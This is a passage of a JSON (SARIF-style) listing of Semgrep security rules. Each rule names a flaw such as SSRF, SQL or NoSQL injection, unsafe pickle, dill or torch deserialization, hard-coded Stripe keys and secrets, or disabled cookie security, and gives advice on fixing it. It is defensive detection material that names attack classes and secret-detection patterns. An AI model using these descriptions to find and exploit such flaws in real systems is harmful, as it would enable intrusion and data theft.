allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","id":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","name":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe API Key detected"},"help":{"markdown":"Stripe API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","id":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","name":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"help":{"markdown":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST').\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping)\n - [https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING](https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING)\n","text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"helpUri":"https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","id":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","name":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod","id":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","name":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostpid-pod.hostpid-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","id":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","name":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection","id":"javascript.express.security.express-vm2-injection.express-vm2-injection","name":"javascript.express.security.express-vm2-injection.express-vm2-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm2-injection.express-vm2-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","id":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","name":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","id":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","name":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","id":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","name":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","id":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","name":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill","id":"python.lang.deserialization.tainted-dill.tainted-dill","name":"python.lang.deserialization.tainted-dill.tainted-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-dill.tainted-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","id":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","name":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"help":{"markdown":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash)\n - [https://cwe.mitre.org/data/definitions/328.html](https://cwe.mitre.org/data/definitions/328.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","id":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","name":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","id":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","name":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mysql.express-mysql-sqli.express-mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","id":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","name":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: 